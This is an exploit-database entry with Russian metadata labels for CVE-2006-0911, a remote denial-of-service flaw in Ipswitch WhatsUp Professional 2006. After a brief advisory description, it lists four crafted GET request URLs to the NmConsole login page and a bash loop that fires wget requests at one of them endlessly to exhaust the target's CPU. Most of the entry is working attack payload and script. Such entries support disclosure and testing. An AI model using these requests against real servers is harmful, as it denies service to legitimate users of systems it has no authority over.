Exploit Ipswitch WhatsUp Professional 2006 - Remote Denial of Service

[Exploiter]

EDB-ID

27258

Проверка EDB

1. Пройдено

Автор

JOSH ZLATIN-AMISHAV

Тип уязвимости

DOS

Платформа

ASP

CVE

cve-2006-0911

Дата публикации

2006-02-22

source: https://www.securityfocus.com/bid/16771/info

Ipswitch WhatsUp Professional 2006 is susceptible to a remote denial-of-service vulnerability. This issue is due to the application's failure to properly handle certain HTTP GET requests.

This issue allows remote attackers to consume excessive CPU resources on targeted computers, denying service to legitimate users.

http://www.example.com:81/NmConsole/Login.asp?bIsJavaScriptDisabled=true&sLoginPassword=&btnLogIn=[Log&In]=&sLoginUserName=
http://www.example.com:81/NmConsole/Login.asp?bIsJavaScriptDisabled=true&sLoginUserName=&btnLogIn=[Log&In]=&sLoginPassword=
http://www.example.com:81/NmConsole/Login.asp?bIsJavaScriptDisabled=true&sLoginUserName=&sLoginPassword=&In]=&btnLogIn=
http://www.example.com:81/NmConsole/Login.asp?bIsJavaScriptDisabled=true&sLoginUserName=&sLoginPassword=&btnLogIn=[Log&In]=

An example script to exploit this issue is also available:

while [ 1 ]
do
wget -O /dev/null http://www.example.com:81/NmConsole/Login.asp?bIsJavaScriptDisabled=true&sLoginPassword=&b;tnLogIn=[Log&In]=&sLoginUserName=
done